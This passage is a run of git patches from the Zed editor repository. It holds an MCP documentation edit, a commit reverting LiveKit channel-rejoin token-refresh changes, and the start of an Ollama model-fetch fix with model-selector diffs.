+You can connect both local and remote MCP servers easily utilizing the MCP server modal, which you can open by invoking the {#action agent::AddContextServer} action. Your specified configuration will create entries in your settings file (which you can open with {#action zed::OpenSettingsFile}) similar to the ones below:
 
 ```json [settings]
 {
@@ -72,8 +72,7 @@ You can connect them by adding their commands directly to your settings file ([h
 }
 ```
 
-Alternatively, you can also add a custom server by accessing the Agent Panel's Settings view (also accessible via the {#action agent::OpenSettings} action).
-From there, you can add it through the modal that appears when you click the "Add Custom Server" button.
+Alternatively, you can also open the modal by accessing the Agent Panel's Settings view (also accessible via the {#action agent::OpenSettings} action) and clicking the "Add Custom Server" button there.
 
 > Note: When a remote MCP server has no configured `"Authorization"` header, Zed will prompt you to authenticate yourself against the MCP server using the standard MCP OAuth flow.
 
diff --git a/docs/src/extensions/mcp-extensions.md b/docs/src/extensions/mcp-extensions.md
index 65771f758d808d..71bc206768b3e4 100644
--- a/docs/src/extensions/mcp-extensions.md
+++ b/docs/src/extensions/mcp-extensions.md
@@ -38,6 +38,8 @@ This method should return the command to start up an MCP server, along with any
 
 If you need to download the MCP server from an external source (GitHub Releases, npm, etc.), you can also do that in this function.
 
+> Note that this is only intended currently for servers published either as binaries or via NPM. Remote context servers should be added natively via the UI, see [the relevant section in the MCP documentation](../ai/mcp.md#as-custom-servers).
+
 ## Available Extensions
 
 See MCP servers published as extensions [on Zed's site](https://zed.dev/extensions?filter=context-servers).

From cf76418cf4f1eec5d91e416d35b76b7af53e17e5 Mon Sep 17 00:00:00 2001
From: Piotr Osiewicz <24362066+osiewicz@users.noreply.github.com>
Date: Tue, 23 Jun 2026 11:13:28 +0200
Subject: [PATCH 050/772] collab: Revert livekit changes (#59733)

- **Revert "livekit: Preserve tokens on channel rejoin (#59388)"**
- **Revert "call: Log LiveKit connection info refresh outcomes in retry
loop (#59205)"**
- **Revert "audio: Fix phantom presence in channels (#59195)"**
- **proto: Reserve RejoinRoomResponse field 4 after revert**

We've observed a spike of phantom collaborator issues after this fixes.
This sucks and I'm quite unhappy about it.

# Objective

- Describe the objective or issue this PR addresses.
- If you're fixing a specific issue, use "Fixes #X" for each issue as
[described in the GitHub
docs](https://docs.github.com/en/issues/tracking-your-work-with-issues/using-issues/linking-a-pull-request-to-an-issue#linking-a-pull-request-to-an-issue-using-a-keyword).

## Solution

- Describe the solution used to achieve the objective above.

## Testing

- Did you test these changes? If so, how?
- Are there any parts that need more testing?
- How can other people (reviewers) test your changes? Is there anything
specific they need to know?
- If relevant, what platforms did you test these changes on, and are
there any important ones you can't test?

## Self-Review Checklist:

- [ ] I've reviewed my own diff for quality, security, and reliability
- [ ] Unsafe blocks (if any) have justifying comments
- [ ] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [ ] Tests cover the new/changed behavior
- [ ] Performance impact has been considered and is acceptable

## Showcase

> This section is optional. If this PR does not include a visual change
or does not add a new user-facing feature, you can delete this section.

- Help others understand the result of this PR by showcasing your
awesome work!
- If this PR includes a visual change, consider adding a screenshot,
GIF, or video
- A before/after comparison is very useful for changes to existing
features!

While a showcase should aim to be brief and digestible, you can use a
toggleable section to save space on longer showcases:

<details>
  <summary>Click to view showcase</summary>

My super cool demos here

</details>

---

Release Notes:

- N/A

---------

Co-authored-by: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
---
 crates/call/src/call_impl/room.rs             | 171 ++++++------------
 crates/collab/src/db.rs                       |   1 -
 crates/collab/src/db/queries/rooms.rs         |  11 --
 crates/collab/src/rpc.rs                      |  73 +-------
 .../collab/tests/integration/channel_tests.rs |  70 -------
 crates/collab_ui/src/call_stats_modal.rs      |  24 +--
 crates/livekit_client/src/test.rs             |  40 ----
 crates/proto/proto/call.proto                 |   6 +-
 8 files changed, 75 insertions(+), 321 deletions(-)

diff --git a/crates/call/src/call_impl/room.rs b/crates/call/src/call_impl/room.rs
index e72f375847e9d4..108c5a46304ffa 100644
--- a/crates/call/src/call_impl/room.rs
+++ b/crates/call/src/call_impl/room.rs
@@ -93,7 +93,6 @@ pub struct Room {
     room_update_completed_rx: watch::Receiver<Option<()>>,
     pending_room_update: Option<Task<()>>,
     maintain_connection: Option<Task<Option<()>>>,
-    livekit_connection_task: Option<Task<()>>,
     created: Instant,
 }
 
@@ -124,7 +123,7 @@ impl Room {
         user_store: Entity<UserStore>,
         cx: &mut Context<Self>,
     ) -> Self {
-        let livekit_connection_task = spawn_room_connection(livekit_connection_info, cx);
+        spawn_room_connection(livekit_connection_info, cx);
 
         let maintain_connection = cx.spawn({
             let client = client.clone();
@@ -165,7 +164,6 @@ impl Room {
             user_store,
             follows_by_leader_id_project_id: Default::default(),
             maintain_connection: Some(maintain_connection),
-            livekit_connection_task,
             room_update_completed_tx,
             room_update_completed_rx,
             created: cx.background_executor().now(),
@@ -362,7 +360,6 @@ impl Room {
         self.diagnostics.take();
         self.pending_room_update.take();
         self.maintain_connection.take();
-        self.livekit_connection_task.take();
     }
 
     fn emit_video_track_unsubscribed_events(&self, cx: &mut Context<Self>) {
@@ -403,10 +400,7 @@ impl Room {
 
                             let Some(this) = this.upgrade() else { break };
                             let task = this.update(cx, |this, cx| this.rejoin(cx));
-                            if let Some(live_kit_connection_info) = task.await.log_err() {
-                                this.update(cx, |this, cx| {
-                                    this.ensure_livekit_connection(live_kit_connection_info, cx);
-                                });
+                            if task.await.log_err().is_some() {
                                 return true;
                             } else {
                                 remaining_attempts -= 1;
@@ -453,10 +447,7 @@ impl Room {
         anyhow::bail!("can't reconnect to room: client failed to re-establish connection");
     }
 
-    fn rejoin(
-        &mut self,
-        cx: &mut Context<Self>,
-    ) -> Task<Result<Option<proto::LiveKitConnectionInfo>>> {
+    fn rejoin(&mut self, cx: &mut Context<Self>) -> Task<Result<()>> {
         let mut projects = HashMap::default();
         let mut reshared_projects = Vec::new();
         let mut rejoined_projects = Vec::new();
@@ -516,8 +507,7 @@ impl Room {
         cx.spawn(async move |this, cx| {
             let response = response.await?;
             let message_id = response.message_id;
-            let mut response = response.payload;
-            let live_kit_connection_info = response.live_kit_connection_info.take();
+            let response = response.payload;
             let room_proto = response.room.context("invalid room")?;
             this.update(cx, |this, cx| {
                 this.status = RoomStatus::Online;
@@ -540,22 +530,10 @@ impl Room {
                 }
 
                 anyhow::Ok(())
-            })??;
-            Ok(live_kit_connection_info)
+            })?
         })
     }
 
-    fn ensure_livekit_connection(
-        &mut self,
-        connection_info: Option<proto::LiveKitConnectionInfo>,
-        cx: &mut Context<Self>,
-    ) {
-        if connection_info.is_none() || self.is_connected(cx) {
-            return;
-        }
-        self.livekit_connection_task = spawn_room_connection(connection_info, cx);
-    }
-
     pub fn id(&self) -> u64 {
         self.id
     }
@@ -1773,100 +1751,63 @@ impl Room {
     }
 }
 
-/// The number of times we attempt to establish the LiveKit connection before
-/// giving up. Retries cover transient failures (e.g. a network blip); a
-/// genuinely bad token won't be fixed by retrying, so the bound keeps us from
-/// hammering LiveKit indefinitely.
-const LIVEKIT_CONNECT_ATTEMPTS: usize = 5;
-
 fn spawn_room_connection(
     livekit_connection_info: Option<proto::LiveKitConnectionInfo>,
     cx: &mut Context<Room>,
-) -> Option<Task<()>> {
-    let connection_info = livekit_connection_info?;
-    Some(cx.spawn(async move |this, cx| {
-        // Retry the LiveKit connection with backoff, but deliberately do NOT
-        // ask collab for a fresh token here: a refreshed token is only needed
-        // when the collab connection itself is re-established, which is handled
-        // separately in `maintain_connection` via `ensure_livekit_connection`.
-        // Coupling this loop to `rejoin` previously turned an isolated LiveKit
-        // failure into a channel-wide `RejoinRoom` storm.
-        let mut backoff = Duration::from_secs(1);
-        for attempt in 1..=LIVEKIT_CONNECT_ATTEMPTS {
-            match livekit::Room::connect(
-                connection_info.server_url.clone(),
-                connection_info.token.clone(),
-                cx,
-            )
-            .await
-            {
-                Ok((room, mut events)) => {
-                    let weak_room = this.clone();
-                    let Ok(share_microphone) = this.update(cx, |this, cx| {
-                        let _handle_updates = cx.spawn(async move |this, cx| {
-                            while let Some(event) = events.next().await {
-                                if this
-                                    .update(cx, |this, cx| {
-                                        this.livekit_room_updated(event, cx).warn_on_err();
-                                    })
-                                    .is_err()
-                                {
-                                    break;
-                                }
-                            }
-                        });
-
-                        let muted_by_user = Room::mute_on_join(cx);
-                        this.live_kit = Some(LiveKitRoom {
-                            room: Rc::new(room),
-                            screen_track: LocalTrack::None,
-                            microphone_track: LocalTrack::None,
-                            input_lag_us: None,
-                            next_publish_id: 0,
-                            muted_by_user,
-                            deafened: false,
-                            speaking: false,
-                            _handle_updates,
-                        });
-                        this.diagnostics = Some(cx.new(|cx| CallDiagnostics::new(weak_room, cx)));
-                        cx.notify();
+) {
+    if let Some(connection_info) = livekit_connection_info {
+        cx.spawn(async move |this, cx| {
+            let (room, mut events) =
+                livekit::Room::connect(connection_info.server_url, connection_info.token, cx)
+                    .await?;
 
-                        // Always open the microphone track on join, even when
-                        // `muted_by_user` is set. Note that the microphone will still
-                        // be muted, as it is still gated in `share_microphone` by
-                        // `muted_by_user`. For users that have `mute_on_join` enabled,
-                        // this moves the Bluetooth profile switch (A2DP -> HFP) (which
-                        // can cause 1-2 seconds of audio silence on some Bluetooth
-                        // headphones) from first unmute to channel join, where
-                        // instability is expected.
-                        if this.can_use_microphone() {
-                            this.share_microphone(cx)
-                        } else {
-                            Task::ready(Ok(()))
+            let weak_room = this.clone();
+            this.update(cx, |this, cx| {
+                let _handle_updates = cx.spawn(async move |this, cx| {
+                    while let Some(event) = events.next().await {
+                        if this
+                            .update(cx, |this, cx| {
+                                this.livekit_room_updated(event, cx).warn_on_err();
+                            })
+                            .is_err()
+                        {
+                            break;
                         }
-                    }) else {
-                        return;
-                    };
-                    share_microphone.await.log_err();
-                    return;
-                }
-                Err(error) => {
-                    log::error!(
-                        "failed to connect to LiveKit room (attempt {attempt}/{LIVEKIT_CONNECT_ATTEMPTS}): {error:#}"
-                    );
-                }
-            }
-
-            if attempt < LIVEKIT_CONNECT_ATTEMPTS {
-                cx.background_executor().timer(backoff).await;
-                backoff = (backoff * 2).min(Duration::from_secs(10));
-            }
-        }
+                    }
+                });
 
-        log::error!(
-            "giving up on LiveKit room connection after {LIVEKIT_CONNECT_ATTEMPTS} attempts"
-        );
-    }))
+                let muted_by_user = Room::mute_on_join(cx);
+                this.live_kit = Some(LiveKitRoom {
+                    room: Rc::new(room),
+                    screen_track: LocalTrack::None,
+                    microphone_track: LocalTrack::None,
+                    input_lag_us: None,
+                    next_publish_id: 0,
+                    muted_by_user,
+                    deafened: false,
+                    speaking: false,
+                    _handle_updates,
+                });
+                this.diagnostics = Some(cx.new(|cx| CallDiagnostics::new(weak_room, cx)));
+
+                // Always open the microphone track on join, even when
+                // `muted_by_user` is set. Note that the microphone will still
+                // be muted, as it is still gated in `share_microphone` by
+                // `muted_by_user`. For users that have `mute_on_join` enabled,
+                // this moves the Bluetooth profile switch (A2DP -> HFP) (which
+                // can cause 1-2 seconds of audio silence on some Bluetooth
+                // headphones) from first unmute to channel join, where
+                // instability is expected.
+                if this.can_use_microphone() {
+                    this.share_microphone(cx)
+                } else {
+                    Task::ready(Ok(()))
+                }
+            })?
+            .await
+        })
+        .detach_and_log_err(cx);
+    }
 }
 
 struct LiveKitRoom {
diff --git a/crates/collab/src/db.rs b/crates/collab/src/db.rs
index 8a9beac933062f..60e49fc39a6091 100644
--- a/crates/collab/src/db.rs
+++ b/crates/collab/src/db.rs
@@ -487,7 +487,6 @@ pub struct RejoinedRoom {
     pub rejoined_projects: Vec<RejoinedProject>,
     pub reshared_projects: Vec<ResharedProject>,
     pub channel: Option<channel::Model>,
-    pub role: ChannelRole,
 }
 
 pub struct ResharedProject {
diff --git a/crates/collab/src/db/queries/rooms.rs b/crates/collab/src/db/queries/rooms.rs
index 8661523a14fb09..a04cd534102d9f 100644
--- a/crates/collab/src/db/queries/rooms.rs
+++ b/crates/collab/src/db/queries/rooms.rs
@@ -499,16 +499,6 @@ impl Database {
                 return Err(anyhow!("room does not exist or was already joined"))?;
             }
 
-            let participant = room_participant::Entity::find()
-                .filter(
-                    Condition::all()
-                        .add(room_participant::Column::RoomId.eq(room_id))
-                        .add(room_participant::Column::UserId.eq(user_id)),
-                )
-                .one(&*tx)
-                .await?
-                .context("participant not found")?;
-
             let mut reshared_projects = Vec::new();
             for reshared_project in &rejoin_room.reshared_projects {
                 let project_id = ProjectId::from_proto(reshared_project.project_id);
@@ -601,7 +591,6 @@ impl Database {
                 channel,
                 rejoined_projects,
                 reshared_projects,
-                role: participant.role.unwrap_or(ChannelRole::Member),
             })
         })
         .await
diff --git a/crates/collab/src/rpc.rs b/crates/collab/src/rpc.rs
index 337e363db697fe..a591e1a57a2135 100644
--- a/crates/collab/src/rpc.rs
+++ b/crates/collab/src/rpc.rs
@@ -1340,7 +1340,7 @@ async fn connection_lost(
         _ = executor.sleep(RECONNECT_TIMEOUT).fuse() => {
 
             log::info!("connection lost, removing all resources for user:{}, connection:{:?}", session.user_id(), session.connection_id);
-            leave_room_for_session(&session, session.connection_id, None).await.trace_err();
+            leave_room_for_session(&session, session.connection_id).await.trace_err();
             leave_channel_buffers_for_session(&session)
                 .await
                 .trace_err();
@@ -1494,44 +1494,6 @@ async fn rejoin_room(
             .rejoin_room(request, session.user_id(), session.connection_id)
             .await?;
 
-        // Include fresh LiveKit connection info so that clients whose LiveKit
-        // connection failed (e.g. because their token was revoked by a stale
-        // connection cleanup) can re-establish it.
-        let live_kit_connection_info =
-            session
-                .app_state
-                .livekit_client
-                .as_ref()
-                .and_then(|live_kit| {
-                    let (can_publish, token) = if rejoined_room.role == ChannelRole::Guest {
-                        (
-                            false,
-                            live_kit
-                                .guest_token(
-                                    &rejoined_room.room.livekit_room,
-                                    &session.user_id().to_string(),
-                                )
-                                .trace_err()?,
-                        )
-                    } else {
-                        (
-                            true,
-                            live_kit
-                                .room_token(
-                                    &rejoined_room.room.livekit_room,
-                                    &session.user_id().to_string(),
-                                )
-                                .trace_err()?,
-                        )
-                    };
-
-                    Some(LiveKitConnectionInfo {
-                        server_url: live_kit.url().into(),
-                        token,
-                        can_publish,
-                    })
-                });
-
         response.send(proto::RejoinRoomResponse {
             room: Some(rejoined_room.room.clone()),
             reshared_projects: rejoined_room
@@ -1551,7 +1513,6 @@ async fn rejoin_room(
                 .iter()
                 .map(|rejoined_project| rejoined_project.to_proto())
                 .collect(),
-            live_kit_connection_info,
         })?;
         room_updated(&rejoined_room.room, &session.peer);
 
@@ -1703,7 +1664,7 @@ async fn leave_room(
     response: Response<proto::LeaveRoom>,
     session: MessageContext,
 ) -> Result<()> {
-    leave_room_for_session(&session, session.connection_id, None).await?;
+    leave_room_for_session(&session, session.connection_id).await?;
     response.send(proto::Ack {})?;
     Ok(())
 }
@@ -3438,7 +3399,7 @@ async fn join_channel_internal(
                 "cleaning up stale connection",
             );
             drop(db);
-            leave_room_for_session(&session, connection, Some(channel_id)).await?;
+            leave_room_for_session(&session, connection).await?;
             db = session.db().await;
         }
 
@@ -4068,11 +4029,7 @@ async fn update_user_contacts(user_id: UserId, session: &Session) -> Result<()>
     Ok(())
 }
 
-async fn leave_room_for_session(
-    session: &Session,
-    connection_id: ConnectionId,
-    rejoining_channel_id: Option<ChannelId>,
-) -> Result<()> {
+async fn leave_room_for_session(session: &Session, connection_id: ConnectionId) -> Result<()> {
     let mut contacts_to_update = HashSet::default();
 
     let room_id;
@@ -4081,7 +4038,6 @@ async fn leave_room_for_session(
     let delete_livekit_room;
     let room;
     let channel;
-    let left_channel_id;
 
     if let Some(mut left_room) = session.db().await.leave_room(connection_id).await? {
         contacts_to_update.insert(session.user_id());
@@ -4096,23 +4052,12 @@ async fn leave_room_for_session(
         delete_livekit_room = left_room.deleted;
         room = mem::take(&mut left_room.room);
         channel = mem::take(&mut left_room.channel);
-        left_channel_id = channel.as_ref().map(|channel| channel.id);
 
         room_updated(&room, &session.peer);
     } else {
         return Ok(());
     }
 
-    // When this cleanup is part of rejoining the same channel, the user is
-    // immediately re-entering this LiveKit room with the same identity, which
-    // LiveKit handles by evicting the prior session. Calling
-    // `remove_participant` here is therefore redundant, and worse: on LiveKit
-    // Cloud it revokes the identity's tokens (including the freshly issued one
-    // for the rejoin), leaving the user connected to collab but unable to join
-    // audio. Skip the removal in that case.
-    let skip_livekit_removal =
-        rejoining_channel_id.is_some() && left_channel_id == rejoining_channel_id;
-
     if let Some(channel) = channel {
         channel_updated(
             &channel,
@@ -4145,12 +4090,10 @@ async fn leave_room_for_session(
     }
 
     if let Some(live_kit) = session.app_state.livekit_client.as_ref() {
-        if !skip_livekit_removal {
-            live_kit
-                .remove_participant(livekit_room.clone(), session.user_id().to_string())
-                .await
-                .trace_err();
-        }
+        live_kit
+            .remove_participant(livekit_room.clone(), session.user_id().to_string())
+            .await
+            .trace_err();
 
         if delete_livekit_room {
             live_kit.delete_room(livekit_room).await.trace_err();
diff --git a/crates/collab/tests/integration/channel_tests.rs b/crates/collab/tests/integration/channel_tests.rs
index ab4754082ed45c..329478819e491d 100644
--- a/crates/collab/tests/integration/channel_tests.rs
+++ b/crates/collab/tests/integration/channel_tests.rs
@@ -366,76 +366,6 @@ async fn test_joining_channel_ancestor_member(
     );
 }
 
-#[gpui::test]
-async fn test_rejoining_channel_does_not_remove_livekit_participant(
-    executor: BackgroundExecutor,
-    cx_a1: &mut TestAppContext,
-    cx_a2: &mut TestAppContext,
-) {
-    let mut server = TestServer::start(executor.clone()).await;
-    // Two connections for the same user. The second one joining the same
-    // channel reproduces the production scenario where the server runs
-    // stale-connection cleanup for the first connection (as it does after an
-    // abrupt disconnect/crash followed by a rejoin within RECONNECT_TIMEOUT).
-    // Mirror LiveKit Cloud: removing a participant revokes their tokens. This
-    // is what turns the redundant `remove_participant` during stale cleanup
-    // into a user-visible failure.
-    server
-        .test_livekit_server
-        .set_revoke_tokens_on_removal(true);
-
-    let client_a1 = server.create_client(cx_a1, "user_a").await;
-    let client_a2 = server.create_client(cx_a2, "user_a").await;
-    client_a1.initialize_channel_store(cx_a1);
-
-    let channel_id = server
-        .make_channel("zed", None, (&client_a1, cx_a1), &mut [])
-        .await;
-
-    let active_call_a1 = cx_a1.read(ActiveCall::global);
-    active_call_a1
-        .update(cx_a1, |active_call, cx| {
-            active_call.join_channel(channel_id, cx)
-        })
-        .await
-        .unwrap();
-    executor.run_until_parked();
-
-    // The second connection joins the same channel, triggering stale-connection
-    // cleanup of the first connection on the server.
-    let active_call_a2 = cx_a2.read(ActiveCall::global);
-    active_call_a2
-        .update(cx_a2, |active_call, cx| {
-            active_call.join_channel(channel_id, cx)
-        })
-        .await
-        .unwrap();
-    executor.run_until_parked();
-
-    // The user-visible symptom: with the bug, stale cleanup revokes the
-    // rejoining user's token and they end up in the call with no audio.
-    let room_a2 =
-        cx_a2.read(|cx| active_call_a2.read_with(cx, |call, _| call.room().unwrap().clone()));
-    cx_a2.read(|cx| {
-        room_a2.read_with(cx, |room, cx| {
-            assert!(
-                room.is_connected(cx),
-                "rejoining the same channel should not break audio"
-            )
-        })
-    });
-
-    // The mechanism: that cleanup must NOT have removed the user from the
-    // LiveKit room, since they are immediately rejoining it.
-    let identity = client_a2.user_id().unwrap().to_string();
-    assert!(
-        !server
-            .test_livekit_server
-            .participant_was_removed(&identity),
-        "rejoining the same channel should not remove the LiveKit participant"
-    );
-}
-
 #[gpui::test]
 async fn test_channel_room(
     executor: BackgroundExecutor,
diff --git a/crates/collab_ui/src/call_stats_modal.rs b/crates/collab_ui/src/call_stats_modal.rs
index 1481fc1602bf8d..cfbdf82c3bb958 100644
--- a/crates/collab_ui/src/call_stats_modal.rs
+++ b/crates/collab_ui/src/call_stats_modal.rs
@@ -144,24 +144,12 @@ impl Render for CallStatsModal {
     fn render(&mut self, _window: &mut Window, cx: &mut Context<Self>) -> impl IntoElement {
         let room = active_room(cx);
         let is_connected = room.is_some();
-        let Some(stats) = room.and_then(|room| {
-            let diagnostics = room.read(cx).diagnostics()?;
-            Some(diagnostics.read(cx).stats().clone())
-        }) else {
-            return v_flex()
-                .key_context("CallStatsModal")
-                .on_action(cx.listener(Self::dismiss))
-                .track_focus(&self.focus_handle)
-                .elevation_3(cx)
-                .w(rems(24.))
-                .p_4()
-                .gap_3()
-                .child(
-                    Label::new("Unable to fetch call statistics")
-                        .size(LabelSize::Large)
-                        .color(Color::Error),
-                );
-        };
+        let stats = room
+            .and_then(|room| {
+                let diagnostics = room.read(cx).diagnostics()?;
+                Some(diagnostics.read(cx).stats().clone())
+            })
+            .unwrap_or_default();
 
         let (quality_text, quality_color) = quality_label(stats.connection_quality);
 
diff --git a/crates/livekit_client/src/test.rs b/crates/livekit_client/src/test.rs
index b07087bbc2a449..955f92dc19d012 100644
--- a/crates/livekit_client/src/test.rs
+++ b/crates/livekit_client/src/test.rs
@@ -56,14 +56,6 @@ pub struct TestServer {
     pub api_key: String,
     pub secret_key: String,
     rooms: Mutex<HashMap<String, TestServerRoom>>,
-    revoked_identities: Mutex<HashSet<String>>,
-    /// Log of `(room, identity)` pairs passed to `remove_participant`, for
-    /// tests that need to assert whether a participant was forcibly removed.
-    removed_participants: Mutex<Vec<(String, String)>>,
-    /// When set, `remove_participant` revokes the identity's tokens, mirroring
-    /// LiveKit Cloud (whose docs state removal "immediately revokes their
-    /// access token"). Off by default so unrelated tests are unaffected.
-    revoke_tokens_on_removal: AtomicBool,
     executor: BackgroundExecutor,
 }
 
@@ -81,9 +73,6 @@ impl TestServer {
                 api_key,
                 secret_key,
                 rooms: Default::default(),
-                revoked_identities: Default::default(),
-                removed_participants: Default::default(),
-                revoke_tokens_on_removal: AtomicBool::new(false),
                 executor,
             });
             e.insert(server.clone());
@@ -115,20 +104,6 @@ impl TestServer {
         }
     }
 
-    /// Makes `remove_participant` revoke the removed identity's tokens, as
-    /// LiveKit Cloud does. Used to reproduce the revoked-token failure.
-    pub fn set_revoke_tokens_on_removal(&self, revoke: bool) {
-        self.revoke_tokens_on_removal.store(revoke, SeqCst);
-    }
-
-    /// Whether `remove_participant` was ever called for the given identity.
-    pub fn participant_was_removed(&self, identity: &str) -> bool {
-        self.removed_participants
-            .lock()
-            .iter()
-            .any(|(_, removed_identity)| removed_identity == identity)
-    }
-
     pub async fn create_room(&self, room: String) -> Result<()> {
         self.simulate_random_delay().await;
 
@@ -157,13 +132,6 @@ impl TestServer {
         let claims = livekit_api::token::validate(&token, &self.secret_key)?;
         let identity = ParticipantIdentity(claims.sub.unwrap().to_string());
         let room_name = claims.video.room.unwrap();
-
-        if self.revoked_identities.lock().contains(&identity.0) {
-            anyhow::bail!(
-                "signal failure: client error: 401 Unauthorized - invalid token: revoked"
-            );
-        }
-
         let mut server_rooms = self.rooms.lock();
         let room = (*server_rooms).entry(room_name.to_string()).or_default();
 
@@ -277,14 +245,6 @@ impl TestServer {
     ) -> Result<()> {
         self.simulate_random_delay().await;
 
-        self.removed_participants
-            .lock()
-            .push((room_name.clone(), identity.0.clone()));
-
-        if self.revoke_tokens_on_removal.load(SeqCst) {
-            self.revoked_identities.lock().insert(identity.0.clone());
-        }
-
         let mut server_rooms = self.rooms.lock();
         let room = server_rooms
             .get_mut(&room_name)
diff --git a/crates/proto/proto/call.proto b/crates/proto/proto/call.proto
index 23a2f0b7e6f735..aa79014959ab1e 100644
--- a/crates/proto/proto/call.proto
+++ b/crates/proto/proto/call.proto
@@ -59,7 +59,11 @@ message RejoinRoomResponse {
   Room room = 1;
   repeated ResharedProject reshared_projects = 2;
   repeated RejoinedProject rejoined_projects = 3;
-  optional LiveKitConnectionInfo live_kit_connection_info = 4;
+  // Field 4 (live_kit_connection_info) was used by the reverted channel-rejoin
+  // LiveKit token-refresh fix (#59388/#59195). Reserved so the number is not
+  // reused with an incompatible type if/when that fix is reattempted.
+  reserved 4;
+  reserved "live_kit_connection_info";
 }
 
 message ResharedProject {

From 4eb039b451fd907a7486c030df62cd9d76b12357 Mon Sep 17 00:00:00 2001
From: Manoj Mishra <manojmishra.deb@gmail.com>
Date: Tue, 23 Jun 2026 14:51:31 +0530
Subject: [PATCH 051/772] ollama: Don't abort entire model fetch if one model's
 details fail to load (#59606)

## Summary

Fixes #37815.

`State::fetch_models()` calls `/api/tags` to list models, then calls
`/api/show` for **every** model in that list to get its capabilities,
collecting the results with `collect::<Result<Vec<_>>>()?`. If
`/api/show` errors for even one model, the whole batch fails and
`fetched_models` is never populated. Since `is_authenticated()` is
defined as `!self.fetched_models.is_empty()`, this means a single bad
model permanently breaks both authentication state and the model picker
for the entire Ollama provider - with no error surfaced anywhere (not
the UI, not the logs), which matches the reports in #37815 of "Connect
does nothing" / "no logs, no nothing".

I hit this myself: I had a stale local reference to an Ollama Cloud
model that had been retired server-side. `/api/show` for that one model
returned `410 Gone`, which silently broke Connect and the model picker
for every other model too. Removing the retired model with `ollama rm`
fixed it immediately, which confirmed the root cause.

## Fix

Instead of aborting the whole fetch on the first error, skip individual
models that fail `/api/show` and log a warning, keeping the rest.
Extracted this into a small `skip_failed_models` helper so it's
unit-testable without mocking HTTP.

## Disclosure

I used Claude (Anthropic's Claude Code) to help track down this root
cause (tracing through `fetch_models`/`is_authenticated` in this file)
and draft the fix + tests below. I reviewed and understand the change -
it's a small, targeted fix to a single function plus two unit tests for
the new helper.

## Test plan

- [x] `cargo check -p language_models` passes
- [x] `cargo test -p language_models --lib ollama::` - all 3 tests pass
(the 2 new ones plus the existing
`test_merge_settings_preserves_display_names_for_similar_models`,
unaffected by this change)
- [x] `cargo fmt -p language_models -- --check` - no diff

## Release Notes

Release Notes:

- Fixed Ollama models silently failing to show up in the model picker
(and "Connect" appearing to do nothing) when a single model's details
couldn't be fetched, e.g. a retired Ollama Cloud model

---------

Co-authored-by: MrSubidubi <finn@zed.dev>
Co-authored-by: Ben Brandt <benjamin.j.brandt@gmail.com>
---
 crates/acp_thread/src/connection.rs           |  4 +-
 crates/agent/src/agent.rs                     |  2 +
 crates/agent_ui/src/model_selector.rs         |  9 +++
 .../src/ui/model_selector_components.rs       | 75 +++++++++++++------
 crates/language_model/src/language_model.rs   | 14 ++++
 crates/language_models/src/provider/ollama.rs | 57 +++++++++-----
 crates/ollama/src/ollama.rs                   | 20 ++++-
 7 files changed, 135 insertions(+), 46 deletions(-)

diff --git a/crates/acp_thread/src/connection.rs b/crates/acp_thread/src/connection.rs
index a99ae8e8637899..a730e6c39d958c 100644
--- a/crates/acp_thread/src/connection.rs
+++ b/crates/acp_thread/src/connection.rs
@@ -4,7 +4,7 @@ use anyhow::Result;
 use chrono::{DateTime, Utc};
 use collections::{HashMap, HashSet, IndexMap};
 use gpui::{Entity, SharedString, Task};
-use language_model::LanguageModelProviderId;
+use language_model::{DisabledReason, LanguageModelProviderId};
 use project::{AgentId, Project};
 use serde::{Deserialize, Serialize};
 use std::{any::Any, error::Error, fmt, path::PathBuf, rc::Rc};
@@ -493,6 +493,7 @@ pub struct AgentModelInfo {
     pub icon: Option<AgentModelIcon>,
     pub is_latest: bool,
     pub cost: Option<SharedString>,
+    pub disabled: Option<DisabledReason>,
 }
 
 #[derive(Debug, Clone, PartialEq, Eq, Hash)]
@@ -1064,6 +1065,7 @@ mod test_support {
                     icon: Some(AgentModelIcon::Named(ui::IconName::ZedAssistant)),
                     is_latest: false,
                     cost: None,
+                    disabled: None,
                 })),
             }
         }
diff --git a/crates/agent/src/agent.rs b/crates/agent/src/agent.rs
index 377328da965db6..172b8b9a1ecc48 100644
--- a/crates/agent/src/agent.rs
+++ b/crates/agent/src/agent.rs
@@ -310,6 +310,7 @@ impl LanguageModels {
             }),
             is_latest: model.is_latest(),
             cost: model.model_cost_info().map(|cost| cost.to_shared_string()),
+            disabled: model.is_disabled(),
         }
     }
 
@@ -5545,6 +5546,7 @@ mod internal_tests {
                         ui::IconName::ZedAssistant
                     )),
                     is_latest: false,
+                    disabled: None,
                     cost: None,
                 }]
             )])
diff --git a/crates/agent_ui/src/model_selector.rs b/crates/agent_ui/src/model_selector.rs
index fa82018b8a3bed..c0d4441b1607ee 100644
--- a/crates/agent_ui/src/model_selector.rs
+++ b/crates/agent_ui/src/model_selector.rs
@@ -271,6 +271,7 @@ impl PickerDelegate for ModelPickerDelegate {
     fn confirm(&mut self, _secondary: bool, window: &mut Window, cx: &mut Context<Picker<Self>>) {
         if let Some(ModelPickerEntry::Model(model_info, _)) =
             self.filtered_entries.get(self.selected_index)
+            && model_info.disabled.is_none()
         {
             self.selector
                 .select_model(model_info.id.clone(), cx)
@@ -336,6 +337,7 @@ impl PickerDelegate for ModelPickerDelegate {
                                     Some(AgentModelIcon::Named(icon)) => this.icon(*icon),
                                     None => this,
                                 })
+                                .disabled(model_info.disabled.clone())
                                 .is_selected(is_selected)
                                 .is_focused(selected)
                                 .is_latest(model_info.is_latest)
@@ -511,6 +513,7 @@ mod tests {
                             description: None,
                             icon: None,
                             is_latest: false,
+                            disabled: None,
                             cost: None,
                         })
                         .collect::<Vec<_>>(),
@@ -618,6 +621,7 @@ mod tests {
                     description: None,
                     icon: None,
                     is_latest: false,
+                    disabled: None,
                     cost: None,
                 },
                 AgentModelInfo {
@@ -626,6 +630,7 @@ mod tests {
                     description: None,
                     icon: None,
                     is_latest: false,
+                    disabled: None,
                     cost: None,
                 },
             ];
@@ -810,6 +815,7 @@ mod tests {
                 description: None,
                 icon: None,
                 is_latest: false,
+                disabled: None,
                 cost: None,
             },
             acp_thread::AgentModelInfo {
@@ -818,6 +824,7 @@ mod tests {
                 description: None,
                 icon: None,
                 is_latest: false,
+                disabled: None,
                 cost: None,
             },
         ]);
@@ -860,6 +867,7 @@ mod tests {
                 description: None,
                 icon: None,
